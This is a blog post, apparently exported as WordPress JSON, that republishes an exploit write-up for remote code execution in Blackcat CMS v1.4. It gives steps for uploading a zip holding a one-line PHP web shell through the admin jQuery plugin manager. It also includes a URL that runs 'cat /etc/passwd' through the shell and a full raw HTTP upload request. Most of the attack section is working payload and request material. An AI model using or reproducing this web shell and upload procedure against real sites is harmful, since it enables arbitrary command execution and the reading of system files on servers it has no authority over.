Exploit Title: Blackcat Cms v1.4 – Remote Code Execution (RCE)
\nApplication: blackcat Cms
\nVersion: v1.4
\nBugs: RCE
\nTechnology: PHP
\nVendor URL: https:\/\/blackcat-cms.org\/
\nSoftware Link: https:\/\/github.com\/BlackCatDevelopment\/BlackCatCMS
\nDate of found: 13.07.2023
\nAuthor: Mirabbas A\u011falarov
\nTested on: Linux<\/p>\n
2. Technical Details & POC
\n========================================
\nsteps:
\n1. login to account as admin
\n2. go to admin-tools => jquery plugin (http:\/\/localhost\/BlackCatCMS-1.4\/upload\/backend\/admintools\/tool.php?tool=jquery_plugin_mgr)
\n3. upload zip file but this zip file must contains poc.php
\npoc.php file contents
\n<?php $a=$_GET[‘code’]; echo system($a);?>
\n4.Go to http:\/\/localhost\/BlackCatCMS-1.4\/upload\/modules\/lib_jquery\/plugins\/poc\/poc.php?code=cat%20\/etc\/passwd<\/p>\n
Poc request<\/p>\n
POST \/BlackCatCMS-1.4\/upload\/backend\/admintools\/tool.php?tool=jquery_plugin_mgr HTTP\/1.1
\nHost: localhost
\nContent-Length: 577
\nCache-Control: max-age=0
\nsec-ch-ua:
\nsec-ch-ua-mobile: ?0
\nsec-ch-ua-platform: “”
\nUpgrade-Insecure-Requests: 1
\nOrigin: http:\/\/localhost
\nContent-Type: multipart\/form-data; boundary=—-WebKitFormBoundaryBRByJwW3CUSHOcBT
\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.5735.134 Safari\/537.36
\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7
\nSec-Fetch-Site: same-origin
\nSec-Fetch-Mode: navigate
\nSec-Fetch-User: ?1
\nSec-Fetch-Dest: document
\nReferer: http:\/\/localhost\/BlackCatCMS-1.4\/upload\/backend\/admintools\/tool.php?tool=jquery_plugin_mgr
\nAccept-Encoding: gzip, deflate
\nAccept-Language: en-US,en;q=0.9
\nCookie: cat7288sessionid=7uv7f4kj7hm9q6jnd6m9luq0ti
\nConnection: close<\/p>\n
——WebKitFormBoundaryBRByJwW3CUSHOcBT
\nContent-Disposition: form-data; name=”upload”<\/p>\n
1
\n——WebKitFormBoundaryBRByJwW3CUSHOcBT
\nContent-Disposition: form-data; name=”userfile”; filename=”poc.zip”
\nContent-Type: application\/zip<\/p>\n
PKvalsdalsfapoc.php<?php
\n$a=$_GET[‘code’];
\necho system($a);
\n?>
\nblabalaboalpoc.php
\nblablabla
\n——WebKitFormBoundaryBRByJwW3CUSHOcBT
\nContent-Disposition: form-data; name=”submit”<\/p>\n
Upload
\n——WebKitFormBoundaryBRByJwW3CUSHOcBT–<\/p>\n","protected":false},"excerpt":{"rendered":"
Exploit Title: Blackcat Cms v1.4 – Remote Code Execution (RCE) Application: blackcat Cms Version: v1.4 Bugs: RCE Technology: PHP Vendor URL: https:\/\/blackcat-cms.org\/ Software Link: https:\/\/github.com\/BlackCatDevelopment\/BlackCatCMS Date of found: 13.07.2023 Author: Mirabbas A\u011falarov Tested on: Linux 2. Technical Details & POC ======================================== steps: 1. login to account as admin 2. go to admin-tools => jquery plugin …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-45382","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45382","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=45382"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45382\/revisions"}],"predecessor-version":[{"id":45480,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45382\/revisions\/45480"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=45382"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=45382"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=45382"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}